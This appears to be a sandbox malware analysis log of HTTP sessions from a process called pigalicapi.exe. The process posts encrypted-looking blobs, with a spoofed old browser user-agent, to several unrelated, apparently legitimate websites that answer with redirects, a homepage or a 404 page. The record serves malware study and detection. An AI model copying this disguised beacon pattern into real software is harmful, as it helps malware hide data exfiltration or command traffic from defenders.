Oct 25, 2024 11:18:06.638848066 CEST	661	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:06 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Location: https://www.quadlock.com/ Cache-Control: max-age=86400 Expires: Sat, 26 Oct 2024 09:18:06 GMT Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 71 75 61 64 6c 6f 63 6b 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.quadlock.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	52787	80.93.82.33	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.807255983 CEST	792	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.olras.com Cache-Control: no-cache Data Raw: 58 46 6b 50 46 32 75 2b 32 31 54 2f 61 2f 6b 39 51 6b 44 70 73 64 52 54 4e 34 6b 78 6b 61 55 38 7a 78 37 56 78 31 4d 4b 35 47 68 4e 2b 57 78 5a 38 6e 71 53 69 44 57 58 39 77 61 4d 77 52 49 44 30 51 38 6d 46 36 51 4d 71 51 53 71 55 72 63 62 32 52 6a 48 54 75 33 59 7a 2f 2b 38 42 4d 63 6b 68 78 4b 6a 37 5a 32 33 62 54 65 37 68 38 4d 73 47 77 30 6f 57 6f 53 2b 78 39 67 76 44 7a 73 37 41 56 6a 2b 4e 51 65 78 34 4e 43 34 75 32 54 6b 77 30 67 54 75 68 79 51 68 4f 42 44 79 53 73 45 55 35 64 52 67 55 4e 2f 42 2b 5a 58 62 75 73 65 68 71 4a 4a 53 35 30 62 6d 4c 48 36 53 57 61 6e 45 78 31 6f 57 55 66 59 35 69 73 41 6e 4d 34 78 55 70 65 34 50 32 52 42 68 45 33 50 41 56 36 34 45 32 5a 63 67 4a 4f 6e 2f 77 72 7a 45 4e 2f 31 70 4d 4b 66 76 2f 6a 36 4b 41 2b 34 53 4f 62 62 55 6a 30 4b 68 33 64 75 65 48 50 45 76 32 79 6b 4e 78 77 4d 4b 32 77 49 4d 45 45 50 70 39 48 73 78 58 4b 30 2f 4d 52 79 48 2b 65 4e 61 72 72 73 42 42 31 4c 2f 45 68 41 41 71 46 66 4a 78 75 36 51 48 61 4a 54 42 77 76 76 31 56 73 79 71 39 58 55 44 [TRUNCATED] Data Ascii: XFkPF2u+21T/a/k9QkDpsdRTN4kxkaU8zx7Vx1MK5GhN+WxZ8nqSiDWX9waMwRID0Q8mF6QMqQSqUrcb2RjHTu3Yz/+8BMckhxKj7Z23bTe7h8MsGw0oWoS+x9gvDzs7AVj+NQex4NC4u2Tkw0gTuhyQhOBDySsEU5dRgUN/B+ZXbusehqJJS50bmLH6SWanEx1oWUfY5isAnM4xUpe4P2RBhE3PAV64E2ZcgJOn/wrzEN/1pMKfv/j6KA+4SObbUj0Kh3dueHPEv2ykNxwMK2wIMEEPp9HsxXK0/MRyH+eNarrsBB1L/EhAAqFfJxu6QHaJTBwvv1Vsyq9XUDjuoSN2YhUKQOeQ9clAJmG5wE1PLT9H3GOXE4AldL1pH/G3EvDV+VQcD2zdMGZgdCBhCP171HBMrrME2ZEU6HNu2YJe+FgfUE2dRZcCHEXlVppwLpW/keJS7buGeXcKq3+gVGJg76T5TSwWpvClwP0SMwMwJjnMHm8o48a7MotJki6zbHH2+znfzKSUk8Wg5MlGfs/kxt/f/SpjZi5shfLvyX+8EsZv
Oct 25, 2024 11:18:06.610682964 CEST	417	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:18:06 GMT server: Apache location: https://www.olras.com/ content-length: 230 content-type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 6c 72 61 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.olras.com/">here</a>.</p></body></html>
Oct 25, 2024 11:18:06.688386917 CEST	792	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.olras.com Cache-Control: no-cache Data Raw: 58 46 6b 50 46 32 75 2b 32 31 54 2f 61 2f 6b 39 51 6b 44 70 73 64 52 54 4e 34 6b 78 6b 61 55 38 7a 78 37 56 78 31 4d 4b 35 47 68 4e 2b 57 78 5a 38 6e 71 53 69 44 57 58 39 77 61 4d 77 52 49 44 30 51 38 6d 46 36 51 4d 71 51 53 71 55 72 63 62 32 52 6a 48 54 75 33 59 7a 2f 2b 38 42 4d 63 6b 68 78 4b 6a 37 5a 32 33 62 54 65 37 68 38 4d 73 47 77 30 6f 57 6f 53 2b 78 39 67 76 44 7a 73 37 41 56 6a 2b 4e 51 65 78 34 4e 43 34 75 32 54 6b 77 30 67 54 75 68 79 51 68 4f 42 44 79 53 73 45 55 35 64 52 67 55 4e 2f 42 2b 5a 58 62 75 73 65 68 71 4a 4a 53 35 30 62 6d 4c 48 36 53 57 61 6e 45 78 31 6f 57 55 66 59 35 69 73 41 6e 4d 34 78 55 70 65 34 50 32 52 42 68 45 33 50 41 56 36 34 45 32 5a 63 67 4a 4f 6e 2f 77 72 7a 45 4e 2f 31 70 4d 4b 66 76 2f 6a 36 4b 41 2b 34 53 4f 62 62 55 6a 30 4b 68 33 64 75 65 48 50 45 76 32 79 6b 4e 78 77 4d 4b 32 77 49 4d 45 45 50 70 39 48 73 78 58 4b 30 2f 4d 52 79 48 2b 65 4e 61 72 72 73 42 42 31 4c 2f 45 68 41 41 71 46 66 4a 78 75 36 51 48 61 4a 54 42 77 76 76 31 56 73 79 71 39 58 55 44 [TRUNCATED] Data Ascii: XFkPF2u+21T/a/k9QkDpsdRTN4kxkaU8zx7Vx1MK5GhN+WxZ8nqSiDWX9waMwRID0Q8mF6QMqQSqUrcb2RjHTu3Yz/+8BMckhxKj7Z23bTe7h8MsGw0oWoS+x9gvDzs7AVj+NQex4NC4u2Tkw0gTuhyQhOBDySsEU5dRgUN/B+ZXbusehqJJS50bmLH6SWanEx1oWUfY5isAnM4xUpe4P2RBhE3PAV64E2ZcgJOn/wrzEN/1pMKfv/j6KA+4SObbUj0Kh3dueHPEv2ykNxwMK2wIMEEPp9HsxXK0/MRyH+eNarrsBB1L/EhAAqFfJxu6QHaJTBwvv1Vsyq9XUDjuoSN2YhUKQOeQ9clAJmG5wE1PLT9H3GOXE4AldL1pH/G3EvDV+VQcD2zdMGZgdCBhCP171HBMrrME2ZEU6HNu2YJe+FgfUE2dRZcCHEXlVppwLpW/keJS7buGeXcKq3+gVGJg76T5TSwWpvClwP0SMwMwJjnMHm8o48a7MotJki6zbHH2+znfzKSUk8Wg5MlGfs/kxt/f/SpjZi5shfLvyX+8EsZv
Oct 25, 2024 11:18:06.921382904 CEST	417	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:18:06 GMT server: Apache location: https://www.olras.com/ content-length: 230 content-type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 6c 72 61 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.olras.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	52793	59.106.19.204	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.415308952 CEST	822	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.baijaku.com Cache-Control: no-cache Data Raw: 48 77 67 73 73 43 65 57 6b 77 70 55 7a 6a 77 78 31 68 32 51 50 66 42 4f 50 4b 61 64 69 61 38 33 53 7a 52 39 4c 4a 47 31 68 45 79 6f 47 4e 43 43 66 65 7a 4d 4f 64 33 57 4e 39 6c 4a 6d 75 42 63 33 51 6f 63 58 41 43 71 48 78 5a 39 76 66 62 75 50 79 2b 64 39 70 36 77 58 49 6e 2f 47 46 39 37 47 54 2b 53 44 53 6a 73 78 6b 78 53 37 7a 64 2b 48 64 7a 6f 71 4d 4d 6a 32 32 62 66 6e 7a 62 44 76 6c 4c 39 52 66 68 71 57 35 79 4a 4b 44 51 53 6c 6b 38 52 66 79 6b 36 58 64 61 48 37 57 77 73 62 41 72 2b 59 50 6d 61 70 76 54 32 4a 52 36 6d 71 57 39 38 34 61 70 48 78 6b 65 35 63 30 4c 69 62 61 71 48 39 41 36 72 42 73 62 39 6a 53 79 73 64 64 37 4f 69 44 74 72 71 46 62 6d 6a 4b 43 44 31 6d 4d 73 46 57 54 66 6c 48 68 37 68 4e 59 4d 6b 37 69 6f 6f 74 77 76 49 5a 49 71 35 4c 59 46 6c 67 31 77 75 2b 4c 61 30 55 4b 5a 42 41 6a 34 76 6c 46 63 47 6e 69 31 35 68 64 2b 5a 77 68 6b 34 6d 6a 44 6f 6a 47 51 52 34 52 33 39 45 41 35 58 6a 4a 4f 66 4e 59 49 2f 67 47 74 69 49 43 49 6c 66 39 74 2f 52 37 78 73 30 31 57 70 54 45 79 59 45 [TRUNCATED] Data Ascii: HwgssCeWkwpUzjwx1h2QPfBOPKadia83SzR9LJG1hEyoGNCCfezMOd3WN9lJmuBc3QocXACqHxZ9vfbuPy+d9p6wXIn/GF97GT+SDSjsxkxS7zd+HdzoqMMj22bfnzbDvlL9RfhqW5yJKDQSlk8Rfyk6XdaH7WwsbAr+YPmapvT2JR6mqW984apHxke5c0LibaqH9A6rBsb9jSysdd7OiDtrqFbmjKCD1mMsFWTflHh7hNYMk7iootwvIZIq5LYFlg1wu+La0UKZBAj4vlFcGni15hd+Zwhk4mjDojGQR4R39EA5XjJOfNYI/gGtiICIlf9t/R7xs01WpTEyYE5qV4Flb1VmphYPj294BSSUDrnIGMFceUkaHB/xOhEEdQCycZmOhHmQwdv3M3bQ4AvyGbKtuKpZF9IxzZhD9OyfIzEnDyhuTEiDvk8+2+r63EjvtygNNwsGgz/Dnm0EkFAqrUVQKyY36S3wzOrhSqPtGwK5uopUiXr9mPTyEFusX2+8bBT9DfbphhMCoDe8Owwt4ZIaWs+arTOg5s4/nzQQ2l9Z8fHJZ/G+lS4yDctqqhxTSQsjuABK2E9L
Oct 25, 2024 11:18:07.333379030 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Content-Length: 36205 Connection: keep-alive Last-Modified: Sat, 05 Oct 2024 08:20:39 GMT ETag: "8d6d-623b6767a23c0" Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 52 65 71 75 69 72 65 64 20 6d 65 74 61 20 74 61 67 73 e5 bf 85 e9 a0 88 e3 83 a1 e3 82 bf e3 82 bf e3 82 b0 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e4 b8 ad e6 9d 91 e6 a2 85 e9 9b 80 20 6f 66 66 69 63 69 61 6c 20 77 65 62 20 73 69 74 65 3c 2f 74 [TRUNCATED] Data Ascii: <!doctype html><html lang="ja"> <head> ... Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" href="img/favicon.png" type="image/png"> <title> official web site</title> ... Bootstrap CSS --> <link rel="stylesheet" href="css/bootstrap.css"> <link rel="stylesheet" href="vendors/linericon/style.css"> <link rel="stylesheet" href="css/font-awesome.min.css"><link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.15.4/css/all.css"> <link rel="stylesheet" href="vendors/owl-carousel/owl.carousel.min.css"> <link rel="stylesheet" href="vendors/lightbox/simpleLightbox.css"> <link rel="stylesheet" href="vendors/nice-select/css/nice-select.css"> <link rel="stylesheet" href="vendors/animate-css/animate.css"> <link rel="stylesheet" href="v
Oct 25, 2024 11:18:07.333435059 CEST	1236	IN	Data Raw: 65 6e 64 6f 72 73 2f 66 6c 61 74 69 63 6f 6e 2f 66 6c 61 74 69 63 6f 6e 2e 63 73 73 22 3e 0a 09 09 3c 21 2d 2d 20 73 6c 69 63 6b 20 2d 2d 3e 0a 3c 21 2d 2d 20 63 73 73 20 2d 2d 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 73 6c 69 63 6b 2f 73 6c 69 Data Ascii: endors/flaticon/flaticon.css">... slick -->... css --><link href="slick/slick.less" rel="stylesheet" type="text/css"><link href="slick/slick-theme.css" rel="stylesheet" type="text/css"><link href="css/style.css" rel="stylesheet" type=
Oct 25, 2024 11:18:07.333468914 CEST	1236	IN	Data Raw: 20 6d 6f 62 69 6c 65 20 64 69 73 70 6c 61 79 20 2d 2d 3e 0a 09 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 6c 6f 67 6f 5f 68 22 20 68 72 65 66 3d 22 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 3c 69 6d 67 Data Ascii: mobile display --> <a class="navbar-brand logo_h" href="index.html"><img src="img/logo-4.jpg" alt=""></a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-control
Oct 25, 2024 11:18:07.333502054 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 6e 61 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 Data Ascii: </ul> </div> </div> </nav> </div> </header>... #EndLibraryItem -->...================Header Menu Area =================--> ...================Home Banner Area ==============
Oct 25, 2024 11:18:07.333538055 CEST	1236	IN	Data Raw: e5 b9 b4 e3 81 ae e3 82 b7 e3 82 a7 e3 82 a4 e3 82 af e3 82 b9 e3 83 94 e3 82 a2 e3 80 8f 3c 2f 61 3e 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 69 6e 66 6f 2d 6e 65 77 73 22 3e 48 50 e3 82 92 e3 83 aa e3 83 8b Data Ascii: </a></p> <p class="info-news">HP</p> <p class="info-news"><a href="https://www.instagram.com/baijaku_nakamura/" target="_blank"><img src="img/instagram.jpg" w
Oct 25, 2024 11:18:07.333570004 CEST	1236	IN	Data Raw: 6c 61 6d 61 74 69 6f 6e 2e 67 69 66 22 20 77 69 64 74 68 3d 22 32 30 22 20 68 65 69 67 68 74 3d 22 32 30 22 20 61 6c 74 3d 22 22 2f 3e 3c 62 72 3e 0a e6 ad 8c e3 82 82 e6 ad 8c e3 81 a3 e3 81 a1 e3 82 83 e3 81 84 e3 81 be e3 81 99 3c 62 72 3e 0a Data Ascii: lamation.gif" width="20" height="20" alt=""/><br><br> <img src="img/message-img/onpu.gif" width="18" height="21" alt=""/><br> <img
Oct 25, 2024 11:18:07.333606005 CEST	1236	IN	Data Raw: 2f 64 69 76 3e 0a 3c 21 2d 2d e6 8c bf e7 b5 b5 2d 2d 3e 09 09 09 09 09 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 33 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6c 6c 75 73 74 22 3e 0a 0a 3c 69 6d 67 20 Data Ascii: /div>...--><div class="col-md-3"><div class="illust"><img src="img/message-img/2024-10message.jpg" alt="" class="img-fluid"></a></div></div>...end --> </div> </div></div></section>
Oct 25, 2024 11:18:07.333637953 CEST	1236	IN	Data Raw: 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 73 74 69 5f 69 74 65 6d 22 3e 0a 09 09 09 09 09 09 09 Data Ascii: /div></div> <div class="item"><div class="testi_item"><img src="img/gallery/photo07.jpg" alt=""/></div></div> <div class="item"><div class="testi_item"><img src="img/gallery/home
Oct 25, 2024 11:18:07.333673000 CEST	1236	IN	Data Raw: 20 63 6c 61 73 73 3d 22 62 61 6e 6e 65 72 5f 62 74 6e 22 20 68 72 65 66 3d 22 67 61 6c 6c 65 72 79 2e 68 74 6d 6c 22 3e 47 61 6c 6c 65 72 79 20 e4 b8 80 e8 a6 a7 3c 2f 61 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 20 20 3c 2f 64 69 76 3e Data Ascii: class="banner_btn" href="gallery.html">Gallery </a></div> </div>...end--> </div> </div> </section> ...================gallery Slide Area end ===============
Oct 25, 2024 11:18:07.333707094 CEST	1236	IN	Data Raw: 74 6e 2d 74 76 22 3e 54 20 20 56 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 09 09 09 09 09 09 09 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 09 09 09 09 09 09 09 3c 68 34 3e e3 80 8e e6 a2 85 e9 9b 80 e3 81 95 e3 82 93 e3 80 80 53 44 47 73 e3 81 a3 e3 81 Data Ascii: tn-tv">T V</span></p><p> </p><h4>SDGs?</h4> <p>BS 6307</p> <p><a href="news.html"></
Oct 25, 2024 11:18:07.339154959 CEST	672	IN	Data Raw: 3d 22 70 72 6f 6a 65 63 74 73 5f 61 72 65 61 20 70 5f 31 32 30 22 3e 0a 20 20 20 20 20 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 Data Ascii: ="projects_area p_120"> <div class="container"> <div class="main_title"><h2 id="instruments">instruments</h2><p></p> </div> ...================gallery Slide Area =================-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	52794	118.27.125.181	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.417983055 CEST	794	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pr-park.com Cache-Control: no-cache Data Raw: 63 56 74 6e 49 35 54 30 70 77 70 38 50 74 42 7a 62 31 62 64 6c 4f 66 4d 64 58 67 4d 63 56 42 2f 43 4d 50 41 44 32 76 74 57 58 62 6f 62 70 4c 67 4c 63 6b 57 6c 6c 53 31 73 61 32 35 57 6c 43 75 70 43 75 63 31 31 75 56 36 4c 30 68 68 34 42 79 34 6f 2b 34 41 7a 79 75 4b 39 6d 39 4d 67 72 43 43 76 62 6c 6d 6a 72 79 57 4f 66 6d 69 69 2f 72 56 35 31 59 43 67 53 75 47 51 68 55 5a 39 79 43 45 4f 4f 44 49 68 56 41 73 36 2b 34 36 43 33 70 43 7a 73 52 37 35 56 63 6e 57 6a 65 63 4d 59 31 57 6b 57 2b 33 44 32 35 7a 73 54 38 34 58 61 67 58 68 35 50 44 30 35 61 6b 74 6d 35 76 49 62 45 69 72 32 4b 43 74 79 41 43 34 79 2f 65 41 2f 35 55 69 6c 31 66 69 52 52 56 34 6c 52 72 66 78 54 53 54 67 74 57 62 46 4b 61 6e 6a 64 76 41 32 34 6e 31 57 2f 55 57 6c 62 71 68 32 42 58 2f 50 61 37 52 55 69 59 6f 74 34 33 4b 30 2f 46 79 44 6b 30 63 56 64 37 2b 6e 2b 41 78 46 58 37 52 2f 31 78 32 73 30 7a 6c 39 61 4f 71 34 68 2b 63 6b 7a 4f 59 2b 5a 6c 4f 4e 2f 65 58 65 79 34 39 34 71 30 4c 67 36 56 46 6c 7a 6f 64 70 53 69 7a 5a 62 55 54 [TRUNCATED] Data Ascii: cVtnI5T0pwp8PtBzb1bdlOfMdXgMcVB/CMPAD2vtWXbobpLgLckWllS1sa25WlCupCuc11uV6L0hh4By4o+4AzyuK9m9MgrCCvblmjryWOfmii/rV51YCgSuGQhUZ9yCEOODIhVAs6+46C3pCzsR75VcnWjecMY1WkW+3D25zsT84XagXh5PD05aktm5vIbEir2KCtyAC4y/eA/5Uil1fiRRV4lRrfxTSTgtWbFKanjdvA24n1W/UWlbqh2BX/Pa7RUiYot43K0/FyDk0cVd7+n+AxFX7R/1x2s0zl9aOq4h+ckzOY+ZlON/eXey494q0Lg6VFlzodpSizZbUTcx7PXmJJXnLwQwxaU2Sza3nrMrW6/G0otcI/7Me37JB96Njf8zUmQehI+NUFuF/mng+x3moAH5eWfwg8i3DHnuKczAbcGX0ga7pAr5bqtcqpO9lerUUsvhMIkA7i16p05XV64Vyb2Csqe0TsyjdzVfYr3uytKa2Zhd8SWbRHRS2rrz076Y39sn3tP5o+x8eC5rp6G1DAsXSGOjGLeNYj3+TQAOVZs=
Oct 25, 2024 11:18:07.308317900 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Content-Length: 19268 Connection: keep-alive Server: Apache Last-Modified: Fri, 13 May 2022 08:04:11 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Oct 25, 2024 11:18:07.308387995 CEST	1236	IN	Data Raw: 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 Data Ascii: font-weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center; -ms-flex-
Oct 25, 2024 11:18:07.308438063 CEST	424	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 62 61 6c 6c 6f 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 Data Ascii: } } .lol-error-page__information-balloon { width: 100%; max-width: 620px; position: relative; display: inline-block; height: auto; padding: 20px; vertical-align: middle;
